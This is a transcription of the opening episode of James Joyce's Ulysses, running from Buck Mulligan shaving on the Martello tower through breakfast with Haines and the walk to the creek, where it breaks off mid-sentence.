prepared by Col Choat . + + + + + +Ulysses by James Joyce + + + -- I -- + + + +STATELY, PLUMP BUCK MULLIGAN CAME FROM THE STAIRHEAD, bearing a bowl of +lather on which a mirror and a razor lay crossed. A yellow dressinggown, +ungirdled, was sustained gently behind him by the mild morning air. He +held the bowl aloft and intoned: + +--INTROIBO AD ALTARE DEI. + +Halted, he peered down the dark winding stairs and called out coarsely: + +--Come up, Kinch! Come up, you fearful jesuit! + +Solemnly he came forward and mounted the round gunrest. He faced about +and blessed gravely thrice the tower, the surrounding land and the +awaking mountains. Then, catching sight of Stephen Dedalus, he bent +towards him and made rapid crosses in the air, gurgling in his throat and +shaking his head. Stephen Dedalus, displeased and sleepy, leaned his arms +on the top of the staircase and looked coldly at the shaking gurgling +face that blessed him, equine in its length, and at the light untonsured +hair, grained and hued like pale oak. + +Buck Mulligan peeped an instant under the mirror and then covered +the bowl smartly. + +--Back to barracks! he said sternly. + +He added in a preacher's tone: + +--For this, O dearly beloved, is the genuine Christine: body and soul and +blood and ouns. Slow music, please. Shut your eyes, gents. One moment. A +little trouble about those white corpuscles. Silence, all. + +He peered sideways up and gave a long slow whistle of call, then paused +awhile in rapt attention, his even white teeth glistening here and there +with gold points. Chrysostomos. Two strong shrill whistles answered +through the calm. + +--Thanks, old chap, he cried briskly. That will do nicely. Switch off the +current, will you? + +He skipped off the gunrest and looked gravely at his watcher, gathering +about his legs the loose folds of his gown. The plump shadowed face and +sullen oval jowl recalled a prelate, patron of arts in the middle ages. A +pleasant smile broke quietly over his lips. + +--The mockery of it! he said gaily. Your absurd name, an ancient Greek! + +He pointed his finger in friendly jest and went over to the parapet, +laughing to himself. Stephen Dedalus stepped up, followed him wearily +halfway and sat down on the edge of the gunrest, watching him still as he +propped his mirror on the parapet, dipped the brush in the bowl and +lathered cheeks and neck. + +Buck Mulligan's gay voice went on. + +--My name is absurd too: Malachi Mulligan, two dactyls. But it has a +Hellenic ring, hasn't it? Tripping and sunny like the buck himself. We +must go to Athens. Will you come if I can get the aunt to fork out twenty +quid? + +He laid the brush aside and, laughing with delight, cried: + +--Will he come? The jejune jesuit! + +Ceasing, he began to shave with care. + +--Tell me, Mulligan, Stephen said quietly. + +--Yes, my love? + +--How long is Haines going to stay in this tower? + +Buck Mulligan showed a shaven cheek over his right shoulder. + +--God, isn't he dreadful? he said frankly. A ponderous Saxon. He thinks +you're not a gentleman. God, these bloody English! Bursting with money +and indigestion. Because he comes from Oxford. You know, Dedalus, you +have the real Oxford manner. He can't make you out. O, my name for you is +the best: Kinch, the knife-blade. + +He shaved warily over his chin. + +--He was raving all night about a black panther, Stephen said. Where is +his guncase? + +--A woful lunatic! Mulligan said. Were you in a funk? + +--I was, Stephen said with energy and growing fear. Out here in the dark +with a man I don't know raving and moaning to himself about shooting a +black panther. You saved men from drowning. I'm not a hero, however. If +he stays on here I am off. + +Buck Mulligan frowned at the lather on his razorblade. He hopped down +from his perch and began to search his trouser pockets hastily. + +--Scutter! he cried thickly. + +He came over to the gunrest and, thrusting a hand into Stephen's upper +pocket, said: + +--Lend us a loan of your noserag to wipe my razor. + +Stephen suffered him to pull out and hold up on show by its corner a +dirty crumpled handkerchief. Buck Mulligan wiped the razorblade neatly. +Then, gazing over the handkerchief, he said: + +--The bard's noserag! A new art colour for our Irish poets: snotgreen. +You can almost taste it, can't you? + +He mounted to the parapet again and gazed out over Dublin bay, his fair +oakpale hair stirring slightly. + +--God! he said quietly. Isn't the sea what Algy calls it: a great sweet +mother? The snotgreen sea. The scrotumtightening sea. EPI OINOPA PONTON. +Ah, Dedalus, the Greeks! I must teach you. You must read them in the +original. THALATTA! THALATTA! She is our great sweet mother. Come and +look. + +Stephen stood up and went over to the parapet. Leaning on it he looked +down on the water and on the mailboat clearing the harbourmouth of +Kingstown. + +--Our mighty mother! Buck Mulligan said. + +He turned abruptly his grey searching eyes from the sea to Stephen's +face. + +--The aunt thinks you killed your mother, he said. That's why she won't +let me have anything to do with you. + +--Someone killed her, Stephen said gloomily. + +--You could have knelt down, damn it, Kinch, when your dying mother asked +you, Buck Mulligan said. I'm hyperborean as much as you. But to think of +your mother begging you with her last breath to kneel down and pray for +her. And you refused. There is something sinister in you ... + +He broke off and lathered again lightly his farther cheek. A tolerant +smile curled his lips. + +--But a lovely mummer! he murmured to himself. Kinch, the loveliest +mummer of them all! + +He shaved evenly and with care, in silence, seriously. + +Stephen, an elbow rested on the jagged granite, leaned his palm against +his brow and gazed at the fraying edge of his shiny black coat-sleeve. +Pain, that was not yet the pain of love, fretted his heart. Silently, in +a dream she had come to him after her death, her wasted body within its +loose brown graveclothes giving off an odour of wax and rosewood, her +breath, that had bent upon him, mute, reproachful, a faint odour of +wetted ashes. Across the threadbare cuffedge he saw the sea hailed as a +great sweet mother by the wellfed voice beside him. The ring of bay and +skyline held a dull green mass of liquid. A bowl of white china had stood +beside her deathbed holding the green sluggish bile which she had torn up +from her rotting liver by fits of loud groaning vomiting. + +Buck Mulligan wiped again his razorblade. + +--Ah, poor dogsbody! he said in a kind voice. I must give you a shirt and +a few noserags. How are the secondhand breeks? + +--They fit well enough, Stephen answered. + +Buck Mulligan attacked the hollow beneath his underlip. + +--The mockery of it, he said contentedly. Secondleg they should be. God +knows what poxy bowsy left them off. I have a lovely pair with a hair +stripe, grey. You'll look spiffing in them. I'm not joking, Kinch. You +look damn well when you're dressed. + +--Thanks, Stephen said. I can't wear them if they are grey. + +--He can't wear them, Buck Mulligan told his face in the mirror. +Etiquette is etiquette. He kills his mother but he can't wear grey +trousers. + +He folded his razor neatly and with stroking palps of fingers felt the +smooth skin. + +Stephen turned his gaze from the sea and to the plump face with its +smokeblue mobile eyes. + +--That fellow I was with in the Ship last night, said Buck Mulligan, says +you have g.p.i. He's up in Dottyville with Connolly Norman. General +paralysis of the insane! + +He swept the mirror a half circle in the air to flash the tidings abroad +in sunlight now radiant on the sea. His curling shaven lips laughed and +the edges of his white glittering teeth. Laughter seized all his strong +wellknit trunk. + +--Look at yourself, he said, you dreadful bard! + +Stephen bent forward and peered at the mirror held out to him, cleft by a +crooked crack. Hair on end. As he and others see me. Who chose this face +for me? This dogsbody to rid of vermin. It asks me too. + +--I pinched it out of the skivvy's room, Buck Mulligan said. It does her +all right. The aunt always keeps plainlooking servants for Malachi. Lead +him not into temptation. And her name is Ursula. + +Laughing again, he brought the mirror away from Stephen's peering eyes. + +--The rage of Caliban at not seeing his face in a mirror, he said. If +Wilde were only alive to see you! + +Drawing back and pointing, Stephen said with bitterness: + +--It is a symbol of Irish art. The cracked looking-glass of a servant. + +Buck Mulligan suddenly linked his arm in Stephen's and walked with him +round the tower, his razor and mirror clacking in the pocket where he had +thrust them. + +--It's not fair to tease you like that, Kinch, is it? he said kindly. God +knows you have more spirit than any of them. + +Parried again. He fears the lancet of my art as I fear that of his. The +cold steelpen. + +--Cracked lookingglass of a servant! Tell that to the oxy chap downstairs +and touch him for a guinea. He's stinking with money and thinks you're +not a gentleman. His old fellow made his tin by selling jalap to Zulus or +some bloody swindle or other. God, Kinch, if you and I could only work +together we might do something for the island. Hellenise it. + +Cranly's arm. His arm. + +--And to think of your having to beg from these swine. I'm the only one +that knows what you are. Why don't you trust me more? What have you up +your nose against me? Is it Haines? If he makes any noise here I'll bring +down Seymour and we'll give him a ragging worse than they gave Clive +Kempthorpe. + +Young shouts of moneyed voices in Clive Kempthorpe's rooms. Palefaces: +they hold their ribs with laughter, one clasping another. O, I shall +expire! Break the news to her gently, Aubrey! I shall die! With slit +ribbons of his shirt whipping the air he hops and hobbles round the +table, with trousers down at heels, chased by Ades of Magdalen with the +tailor's shears. A scared calf's face gilded with marmalade. I don't want +to be debagged! Don't you play the giddy ox with me! + +Shouts from the open window startling evening in the quadrangle. A deaf +gardener, aproned, masked with Matthew Arnold's face, pushes his mower on +the sombre lawn watching narrowly the dancing motes of grasshalms. + +To ourselves ... new paganism ... omphalos. + +--Let him stay, Stephen said. There's nothing wrong with him except at +night. + +--Then what is it? Buck Mulligan asked impatiently. Cough it up. I'm +quite frank with you. What have you against me now? + +They halted, looking towards the blunt cape of Bray Head that lay on the +water like the snout of a sleeping whale. Stephen freed his arm quietly. + +--Do you wish me to tell you? he asked. + +--Yes, what is it? Buck Mulligan answered. I don't remember anything. + +He looked in Stephen's face as he spoke. A light wind passed his brow, +fanning softly his fair uncombed hair and stirring silver points of +anxiety in his eyes. + +Stephen, depressed by his own voice, said: + +--Do you remember the first day I went to your house after my mother's +death? + +Buck Mulligan frowned quickly and said: + +--What? Where? I can't remember anything. I remember only ideas and +sensations. Why? What happened in the name of God? + +--You were making tea, Stephen said, and went across the landing to get +more hot water. Your mother and some visitor came out of the drawingroom. +She asked you who was in your room. + +--Yes? Buck Mulligan said. What did I say? I forget. + +--You said, Stephen answered, O, IT'S ONLY DEDALUS WHOSE MOTHER IS +BEASTLY DEAD. + +A flush which made him seem younger and more engaging rose to Buck +Mulligan's cheek. + +--Did I say that? he asked. Well? What harm is that? + +He shook his constraint from him nervously. + +--And what is death, he asked, your mother's or yours or my own? You saw +only your mother die. I see them pop off every day in the Mater and +Richmond and cut up into tripes in the dissectingroom. It's a beastly +thing and nothing else. It simply doesn't matter. You wouldn't kneel down +to pray for your mother on her deathbed when she asked you. Why? Because +you have the cursed jesuit strain in you, only it's injected the wrong +way. To me it's all a mockery and beastly. Her cerebral lobes are not +functioning. She calls the doctor sir Peter Teazle and picks buttercups +off the quilt. Humour her till it's over. You crossed her last wish in +death and yet you sulk with me because I don't whinge like some hired +mute from Lalouette's. Absurd! I suppose I did say it. I didn't mean to +offend the memory of your mother. + +He had spoken himself into boldness. Stephen, shielding the gaping wounds +which the words had left in his heart, said very coldly: + +--I am not thinking of the offence to my mother. + +--Of what then? Buck Mulligan asked. + +--Of the offence to me, Stephen answered. + +Buck Mulligan swung round on his heel. + +--O, an impossible person! he exclaimed. + +He walked off quickly round the parapet. Stephen stood at his post, +gazing over the calm sea towards the headland. Sea and headland now grew +dim. Pulses were beating in his eyes, veiling their sight, and he felt +the fever of his cheeks. + +A voice within the tower called loudly: + +--Are you up there, Mulligan? + +--I'm coming, Buck Mulligan answered. + +He turned towards Stephen and said: + +--Look at the sea. What does it care about offences? Chuck Loyola, Kinch, +and come on down. The Sassenach wants his morning rashers. + +His head halted again for a moment at the top of the staircase, level +with the roof: + +--Don't mope over it all day, he said. I'm inconsequent. Give up the +moody brooding. + +His head vanished but the drone of his descending voice boomed out of the +stairhead: + + + AND NO MORE TURN ASIDE AND BROOD + UPON LOVE'S BITTER MYSTERY + FOR FERGUS RULES THE BRAZEN CARS. + + +Woodshadows floated silently by through the morning peace from the +stairhead seaward where he gazed. Inshore and farther out the mirror of +water whitened, spurned by lightshod hurrying feet. White breast of the +dim sea. The twining stresses, two by two. A hand plucking the +harpstrings, merging their twining chords. Wavewhite wedded words +shimmering on the dim tide. + +A cloud began to cover the sun slowly, wholly, shadowing the bay in +deeper green. It lay beneath him, a bowl of bitter waters. Fergus' song: +I sang it alone in the house, holding down the long dark chords. Her door +was open: she wanted to hear my music. Silent with awe and pity I went to +her bedside. She was crying in her wretched bed. For those words, +Stephen: love's bitter mystery. + +Where now? + +Her secrets: old featherfans, tasselled dancecards, powdered with musk, a +gaud of amber beads in her locked drawer. A birdcage hung in the sunny +window of her house when she was a girl. She heard old Royce sing in the +pantomime of TURKO THE TERRIBLE and laughed with others when he sang: + + + I AM THE BOY + THAT CAN ENJOY + INVISIBILITY. + + +Phantasmal mirth, folded away: muskperfumed. + + + AND NO MORE TURN ASIDE AND BROOD. + + +Folded away in the memory of nature with her toys. Memories beset his +brooding brain. Her glass of water from the kitchen tap when she had +approached the sacrament. A cored apple, filled with brown sugar, +roasting for her at the hob on a dark autumn evening. Her shapely +fingernails reddened by the blood of squashed lice from the children's +shirts. + +In a dream, silently, she had come to him, her wasted body within its +loose graveclothes giving off an odour of wax and rosewood, her breath, +bent over him with mute secret words, a faint odour of wetted ashes. + +Her glazing eyes, staring out of death, to shake and bend my soul. On me +alone. The ghostcandle to light her agony. Ghostly light on the tortured +face. Her hoarse loud breath rattling in horror, while all prayed on +their knees. Her eyes on me to strike me down. LILIATA RUTILANTIUM TE +CONFESSORUM TURMA CIRCUMDET: IUBILANTIUM TE VIRGINUM CHORUS EXCIPIAT. + +Ghoul! Chewer of corpses! + +No, mother! Let me be and let me live. + +--Kinch ahoy! + +Buck Mulligan's voice sang from within the tower. It came nearer up the +staircase, calling again. Stephen, still trembling at his soul's cry, +heard warm running sunlight and in the air behind him friendly words. + +--Dedalus, come down, like a good mosey. Breakfast is ready. Haines is +apologising for waking us last night. It's all right. + +--I'm coming, Stephen said, turning. + +--Do, for Jesus' sake, Buck Mulligan said. For my sake and for all our +sakes. + +His head disappeared and reappeared. + +--I told him your symbol of Irish art. He says it's very clever. Touch +him for a quid, will you? A guinea, I mean. + +--I get paid this morning, Stephen said. + +--The school kip? Buck Mulligan said. How much? Four quid? Lend us one. + +--If you want it, Stephen said. + +--Four shining sovereigns, Buck Mulligan cried with delight. We'll have a +glorious drunk to astonish the druidy druids. Four omnipotent sovereigns. + +He flung up his hands and tramped down the stone stairs, singing out of +tune with a Cockney accent: + + + O, WON'T WE HAVE A MERRY TIME, + DRINKING WHISKY, BEER AND WINE! + ON CORONATION, + CORONATION DAY! + O, WON'T WE HAVE A MERRY TIME + ON CORONATION DAY! + + +Warm sunshine merrying over the sea. The nickel shavingbowl shone, +forgotten, on the parapet. Why should I bring it down? Or leave it there +all day, forgotten friendship? + +He went over to it, held it in his hands awhile, feeling its coolness, +smelling the clammy slaver of the lather in which the brush was stuck. So +I carried the boat of incense then at Clongowes. I am another now and yet +the same. A servant too. A server of a servant. + +In the gloomy domed livingroom of the tower Buck Mulligan's gowned form +moved briskly to and fro about the hearth, hiding and revealing its +yellow glow. Two shafts of soft daylight fell across the flagged floor +from the high barbacans: and at the meeting of their rays a cloud of +coalsmoke and fumes of fried grease floated, turning. + +--We'll be choked, Buck Mulligan said. Haines, open that door, will you? + +Stephen laid the shavingbowl on the locker. A tall figure rose from the +hammock where it had been sitting, went to the doorway and pulled open +the inner doors. + +--Have you the key? a voice asked. + +--Dedalus has it, Buck Mulligan said. Janey Mack, I'm choked! + +He howled, without looking up from the fire: + +--Kinch! + +--It's in the lock, Stephen said, coming forward. + +The key scraped round harshly twice and, when the heavy door had been set +ajar, welcome light and bright air entered. Haines stood at the doorway, +looking out. Stephen haled his upended valise to the table and sat down +to wait. Buck Mulligan tossed the fry on to the dish beside him. Then he +carried the dish and a large teapot over to the table, set them down +heavily and sighed with relief. + +--I'm melting, he said, as the candle remarked when ... But, hush! Not a +word more on that subject! Kinch, wake up! Bread, butter, honey. Haines, +come in. The grub is ready. Bless us, O Lord, and these thy gifts. +Where's the sugar? O, jay, there's no milk. + +Stephen fetched the loaf and the pot of honey and the buttercooler from +the locker. Buck Mulligan sat down in a sudden pet. + +--What sort of a kip is this? he said. I told her to come after eight. + +--We can drink it black, Stephen said thirstily. There's a lemon in the +locker. + +--O, damn you and your Paris fads! Buck Mulligan said. I want Sandycove +milk. + +Haines came in from the doorway and said quietly: + +--That woman is coming up with the milk. + +--The blessings of God on you! Buck Mulligan cried, jumping up from his +chair. Sit down. Pour out the tea there. The sugar is in the bag. Here, I +can't go fumbling at the damned eggs. + +He hacked through the fry on the dish and slapped it out on three plates, +saying: + +--IN NOMINE PATRIS ET FILII ET SPIRITUS SANCTI. + +Haines sat down to pour out the tea. + +--I'm giving you two lumps each, he said. But, I say, Mulligan, you do +make strong tea, don't you? + +Buck Mulligan, hewing thick slices from the loaf, said in an old woman's +wheedling voice: + +--When I makes tea I makes tea, as old mother Grogan said. And when I +makes water I makes water. + +--By Jove, it is tea, Haines said. + +Buck Mulligan went on hewing and wheedling: + +--SO I DO, MRS CAHILL, says she. BEGOB, MA'AM, says Mrs Cahill, GOD SEND +YOU DON'T MAKE THEM IN THE ONE POT. + +He lunged towards his messmates in turn a thick slice of bread, impaled +on his knife. + +--That's folk, he said very earnestly, for your book, Haines. Five lines +of text and ten pages of notes about the folk and the fishgods of +Dundrum. Printed by the weird sisters in the year of the big wind. + +He turned to Stephen and asked in a fine puzzled voice, lifting his +brows: + +--Can you recall, brother, is mother Grogan's tea and water pot spoken of +in the Mabinogion or is it in the Upanishads? + +--I doubt it, said Stephen gravely. + +--Do you now? Buck Mulligan said in the same tone. Your reasons, pray? + +--I fancy, Stephen said as he ate, it did not exist in or out of the +Mabinogion. Mother Grogan was, one imagines, a kinswoman of Mary Ann. + +Buck Mulligan's face smiled with delight. + +--Charming! he said in a finical sweet voice, showing his white teeth and +blinking his eyes pleasantly. Do you think she was? Quite charming! + +Then, suddenly overclouding all his features, he growled in a hoarsened +rasping voice as he hewed again vigorously at the loaf: + + + --FOR OLD MARY ANN + SHE DOESN'T CARE A DAMN. + BUT, HISING UP HER PETTICOATS ... + + +He crammed his mouth with fry and munched and droned. + +The doorway was darkened by an entering form. + +--The milk, sir! + +--Come in, ma'am, Mulligan said. Kinch, get the jug. + +An old woman came forward and stood by Stephen's elbow. + +--That's a lovely morning, sir, she said. Glory be to God. + +--To whom? Mulligan said, glancing at her. Ah, to be sure! + +Stephen reached back and took the milkjug from the locker. + +--The islanders, Mulligan said to Haines casually, speak frequently of +the collector of prepuces. + +--How much, sir? asked the old woman. + +--A quart, Stephen said. + +He watched her pour into the measure and thence into the jug rich white +milk, not hers. Old shrunken paps. She poured again a measureful and a +tilly. Old and secret she had entered from a morning world, maybe a +messenger. She praised the goodness of the milk, pouring it out. +Crouching by a patient cow at daybreak in the lush field, a witch on her +toadstool, her wrinkled fingers quick at the squirting dugs. They lowed +about her whom they knew, dewsilky cattle. Silk of the kine and poor old +woman, names given her in old times. A wandering crone, lowly form of an +immortal serving her conqueror and her gay betrayer, their common +cuckquean, a messenger from the secret morning. To serve or to upbraid, +whether he could not tell: but scorned to beg her favour. + +--It is indeed, ma'am, Buck Mulligan said, pouring milk into their cups. + +--Taste it, sir, she said. + +He drank at her bidding. + +--If we could live on good food like that, he said to her somewhat +loudly, we wouldn't have the country full of rotten teeth and rotten +guts. Living in a bogswamp, eating cheap food and the streets paved with +dust, horsedung and consumptives' spits. + +--Are you a medical student, sir? the old woman asked. + +--I am, ma'am, Buck Mulligan answered. + +--Look at that now, she said. + +Stephen listened in scornful silence. She bows her old head to a voice +that speaks to her loudly, her bonesetter, her medicineman: me she +slights. To the voice that will shrive and oil for the grave all there is +of her but her woman's unclean loins, of man's flesh made not in God's +likeness, the serpent's prey. And to the loud voice that now bids her be +silent with wondering unsteady eyes. + +--Do you understand what he says? Stephen asked her. + +--Is it French you are talking, sir? the old woman said to Haines. + +Haines spoke to her again a longer speech, confidently. + +--Irish, Buck Mulligan said. Is there Gaelic on you? + +--I thought it was Irish, she said, by the sound of it. Are you from the +west, sir? + +--I am an Englishman, Haines answered. + +--He's English, Buck Mulligan said, and he thinks we ought to speak Irish +in Ireland. + +--Sure we ought to, the old woman said, and I'm ashamed I don't speak the +language myself. I'm told it's a grand language by them that knows. + +--Grand is no name for it, said Buck Mulligan. Wonderful entirely. Fill +us out some more tea, Kinch. Would you like a cup, ma'am? + +--No, thank you, sir, the old woman said, slipping the ring of the +milkcan on her forearm and about to go. + +Haines said to her: + +--Have you your bill? We had better pay her, Mulligan, hadn't we? + +Stephen filled again the three cups. + +--Bill, sir? she said, halting. Well, it's seven mornings a pint at +twopence is seven twos is a shilling and twopence over and these three +mornings a quart at fourpence is three quarts is a shilling. That's a +shilling and one and two is two and two, sir. + +Buck Mulligan sighed and, having filled his mouth with a crust thickly +buttered on both sides, stretched forth his legs and began to search his +trouser pockets. + +--Pay up and look pleasant, Haines said to him, smiling. + +Stephen filled a third cup, a spoonful of tea colouring faintly the thick +rich milk. Buck Mulligan brought up a florin, twisted it round in his +fingers and cried: + +--A miracle! + +He passed it along the table towards the old woman, saying: + +--Ask nothing more of me, sweet. All I can give you I give. + +Stephen laid the coin in her uneager hand. + +--We'll owe twopence, he said. + +--Time enough, sir, she said, taking the coin. Time enough. Good morning, +sir. + +She curtseyed and went out, followed by Buck Mulligan's tender chant: + + + --HEART OF MY HEART, WERE IT MORE, + MORE WOULD BE LAID AT YOUR FEET. + + +He turned to Stephen and said: + +--Seriously, Dedalus. I'm stony. Hurry out to your school kip and bring +us back some money. Today the bards must drink and junket. Ireland +expects that every man this day will do his duty. + +--That reminds me, Haines said, rising, that I have to visit your +national library today. + +--Our swim first, Buck Mulligan said. + +He turned to Stephen and asked blandly: + +--Is this the day for your monthly wash, Kinch? + +Then he said to Haines: + +--The unclean bard makes a point of washing once a month. + +--All Ireland is washed by the gulfstream, Stephen said as he let honey +trickle over a slice of the loaf. + +Haines from the corner where he was knotting easily a scarf about the +loose collar of his tennis shirt spoke: + +--I intend to make a collection of your sayings if you will let me. + +Speaking to me. They wash and tub and scrub. Agenbite of inwit. +Conscience. Yet here's a spot. + +--That one about the cracked lookingglass of a servant being the symbol +of Irish art is deuced good. + +Buck Mulligan kicked Stephen's foot under the table and said with warmth +of tone: + +--Wait till you hear him on Hamlet, Haines. + +--Well, I mean it, Haines said, still speaking to Stephen. I was just +thinking of it when that poor old creature came in. + +--Would I make any money by it? Stephen asked. + +Haines laughed and, as he took his soft grey hat from the holdfast of the +hammock, said: + +--I don't know, I'm sure. + +He strolled out to the doorway. Buck Mulligan bent across to Stephen and +said with coarse vigour: + +--You put your hoof in it now. What did you say that for? + +--Well? Stephen said. The problem is to get money. From whom? From the +milkwoman or from him. It's a toss up, I think. + +--I blow him out about you, Buck Mulligan said, and then you come along +with your lousy leer and your gloomy jesuit jibes. + +--I see little hope, Stephen said, from her or from him. + +Buck Mulligan sighed tragically and laid his hand on Stephen's arm. + +--From me, Kinch, he said. + +In a suddenly changed tone he added: + +--To tell you the God's truth I think you're right. Damn all else they +are good for. Why don't you play them as I do? To hell with them all. Let +us get out of the kip. + +He stood up, gravely ungirdled and disrobed himself of his gown, saying +resignedly: + +--Mulligan is stripped of his garments. + +He emptied his pockets on to the table. + +--There's your snotrag, he said. + +And putting on his stiff collar and rebellious tie he spoke to them, +chiding them, and to his dangling watchchain. His hands plunged and +rummaged in his trunk while he called for a clean handkerchief. God, +we'll simply have to dress the character. I want puce gloves and green +boots. Contradiction. Do I contradict myself? Very well then, I +contradict myself. Mercurial Malachi. A limp black missile flew out of +his talking hands. + +--And there's your Latin quarter hat, he said. + +Stephen picked it up and put it on. Haines called to them from the +doorway: + +--Are you coming, you fellows? + +--I'm ready, Buck Mulligan answered, going towards the door. Come out, +Kinch. You have eaten all we left, I suppose. Resigned he passed out with +grave words and gait, saying, wellnigh with sorrow: + +--And going forth he met Butterly. + +Stephen, taking his ashplant from its leaningplace, followed them out +and, as they went down the ladder, pulled to the slow iron door and +locked it. He put the huge key in his inner pocket. + +At the foot of the ladder Buck Mulligan asked: + +--Did you bring the key? + +--I have it, Stephen said, preceding them. + +He walked on. Behind him he heard Buck Mulligan club with his heavy +bathtowel the leader shoots of ferns or grasses. + +--Down, sir! How dare you, sir! + +Haines asked: + +--Do you pay rent for this tower? + +--Twelve quid, Buck Mulligan said. + +--To the secretary of state for war, Stephen added over his shoulder. + +They halted while Haines surveyed the tower and said at last: + +--Rather bleak in wintertime, I should say. Martello you call it? + +--Billy Pitt had them built, Buck Mulligan said, when the French were on +the sea. But ours is the OMPHALOS. + +--What is your idea of Hamlet? Haines asked Stephen. + +--No, no, Buck Mulligan shouted in pain. I'm not equal to Thomas Aquinas +and the fifty-five reasons he has made out to prop it up. Wait till I have +a few pints in me first. + +He turned to Stephen, saying, as he pulled down neatly the peaks of his +primrose waistcoat: + +--You couldn't manage it under three pints, Kinch, could you? + +--It has waited so long, Stephen said listlessly, it can wait longer. + +--You pique my curiosity, Haines said amiably. Is it some paradox? + +--Pooh! Buck Mulligan said. We have grown out of Wilde and paradoxes. +It's quite simple. He proves by algebra that Hamlet's grandson is +Shakespeare's grandfather and that he himself is the ghost of his own +father. + +--What? Haines said, beginning to point at Stephen. He himself? + +Buck Mulligan slung his towel stolewise round his neck and, bending in +loose laughter, said to Stephen's ear: + +--O, shade of Kinch the elder! Japhet in search of a father! + +--We're always tired in the morning, Stephen said to Haines. And it is +rather long to tell. + +Buck Mulligan, walking forward again, raised his hands. + +--The sacred pint alone can unbind the tongue of Dedalus, he said. + +--I mean to say, Haines explained to Stephen as they followed, this tower +and these cliffs here remind me somehow of Elsinore. THAT BEETLES O'ER +HIS BASE INTO THE SEA, ISN'T IT? + +Buck Mulligan turned suddenly. for an instant towards Stephen but did not +speak. In the bright silent instant Stephen saw his own image in cheap +dusty mourning between their gay attires. + +--It's a wonderful tale, Haines said, bringing them to halt again. + +Eyes, pale as the sea the wind had freshened, paler, firm and prudent. +The seas' ruler, he gazed southward over the bay, empty save for the +smokeplume of the mailboat vague on the bright skyline and a sail tacking +by the Muglins. + +--I read a theological interpretation of it somewhere, he said bemused. +The Father and the Son idea. The Son striving to be atoned with the +Father. + +Buck Mulligan at once put on a blithe broadly smiling face. He looked at +them, his wellshaped mouth open happily, his eyes, from which he had +suddenly withdrawn all shrewd sense, blinking with mad gaiety. He moved a +doll's head to and fro, the brims of his Panama hat quivering, and began +to chant in a quiet happy foolish voice: + + + --I'M THE QUEEREST YOUNG FELLOW THAT EVER YOU HEARD. + MY MOTHER'S A JEW, MY FATHER'S A BIRD. + WITH JOSEPH THE JOINER I CANNOT AGREE. + SO HERE'S TO DISCIPLES AND CALVARY. + + +He held up a forefinger of warning. + + + --IF ANYONE THINKS THAT I AMN'T DIVINE + HE'LL GET NO FREE DRINKS WHEN I'M MAKING THE WINE + BUT HAVE TO DRINK WATER AND WISH IT WERE PLAIN + THAT I MAKE WHEN THE WINE BECOMES WATER AGAIN. + + +He tugged swiftly at Stephen's ashplant in farewell and, running forward +to a brow of the cliff, fluttered his hands at his sides like fins or +wings of one about to rise in the air, and chanted: + + + --GOODBYE, NOW, GOODBYE! WRITE DOWN ALL I SAID + AND TELL TOM, DIEK AND HARRY I ROSE FROM THE DEAD. + WHAT'S BRED IN THE BONE CANNOT FAIL ME TO FLY + AND OLIVET'S BREEZY ... GOODBYE, NOW, GOODBYE! + + +He capered before them down towards the forty-foot hole, fluttering his +winglike hands, leaping nimbly, Mercury's hat quivering in the fresh wind +that bore back to them his brief birdsweet cries. + +Haines, who had been laughing guardedly, walked on beside Stephen and +said: + +--We oughtn't to laugh, I suppose. He's rather blasphemous. I'm not a +believer myself, that is to say. Still his gaiety takes the harm out of +it somehow, doesn't it? What did he call it? Joseph the Joiner? + +--The ballad of joking Jesus, Stephen answered. + +--O, Haines said, you have heard it before? + +--Three times a day, after meals, Stephen said drily. + +--You're not a believer, are you? Haines asked. I mean, a believer in the +narrow sense of the word. Creation from nothing and miracles and a +personal God. + +--There's only one sense of the word, it seems to me, Stephen said. + +Haines stopped to take out a smooth silver case in which twinkled a green +stone. He sprang it open with his thumb and offered it. + +--Thank you, Stephen said, taking a cigarette. + +Haines helped himself and snapped the case to. He put it back in his +sidepocket and took from his waistcoatpocket a nickel tinderbox, sprang +it open too, and, having lit his cigarette, held the flaming spunk +towards Stephen in the shell of his hands. + +--Yes, of course, he said, as they went on again. Either you believe or +you don't, isn't it? Personally I couldn't stomach that idea of a +personal God. You don't stand for that, I suppose? + +--You behold in me, Stephen said with grim displeasure, a horrible +example of free thought. + +He walked on, waiting to be spoken to, trailing his ashplant by his side. +Its ferrule followed lightly on the path, squealing at his heels. My +familiar, after me, calling, Steeeeeeeeeeeephen! A wavering line along +the path. They will walk on it tonight, coming here in the dark. He wants +that key. It is mine. I paid the rent. Now I eat his salt bread. Give him +the key too. All. He will ask for it. That was in his eyes. + +--After all, Haines began ... + +Stephen turned and saw that the cold gaze which had measured him was not +all unkind. + +--After all, I should think you are able to free yourself. You are your +own master, it seems to me. + +--I am a servant of two masters, Stephen said, an English and an Italian. + +--Italian? Haines said. + +A crazy queen, old and jealous. Kneel down before me. + +--And a third, Stephen said, there is who wants me for odd jobs. + +--Italian? Haines said again. What do you mean? + +--The imperial British state, Stephen answered, his colour rising, and +the holy Roman catholic and apostolic church. + +Haines detached from his underlip some fibres of tobacco before he spoke. + +--I can quite understand that, he said calmly. An Irishman must think +like that, I daresay. We feel in England that we have treated you rather +unfairly. It seems history is to blame. + +The proud potent titles clanged over Stephen's memory the triumph of +their brazen bells: ET UNAM SANCTAM CATHOLICAM ET APOSTOLICAM ECCLESIAM: +the slow growth and change of rite and dogma like his own rare thoughts, +a chemistry of stars. Symbol of the apostles in the mass for pope +Marcellus, the voices blended, singing alone loud in affirmation: and +behind their chant the vigilant angel of the church militant disarmed and +menaced her heresiarchs. A horde of heresies fleeing with mitres awry: +Photius and the brood of mockers of whom Mulligan was one, and Arius, +warring his life long upon the consubstantiality of the Son with the +Father, and Valentine, spurning Christ's terrene body, and the subtle +African heresiarch Sabellius who held that the Father was Himself His own +Son. Words Mulligan had spoken a moment since in mockery to the stranger. +Idle mockery. The void awaits surely all them that weave the wind: a +menace, a disarming and a worsting from those embattled angels of the +church, Michael's host, who defend her ever in the hour of conflict with +their lances and their shields. + +Hear, hear! Prolonged applause. ZUT! NOM DE DIEU! + +--Of course I'm a Britisher, Haines's voice said, and I feel as one. I +don't want to see my country fall into the hands of German jews either. +That's our national problem, I'm afraid, just now. + +Two men stood at the verge of the cliff, watching: businessman, boatman. + +--She's making for Bullock harbour. + +The boatman nodded towards the north of the bay with some disdain. + +--There's five fathoms out there, he said. It'll be swept up that way +when the tide comes in about one. It's nine days today. + +The man that was drowned. A sail veering about the blank bay waiting for +a swollen bundle to bob up, roll over to the sun a puffy face, saltwhite. +Here I am. + +They followed the winding path down to the creek. Buck Mulligan stood on +a stone, in 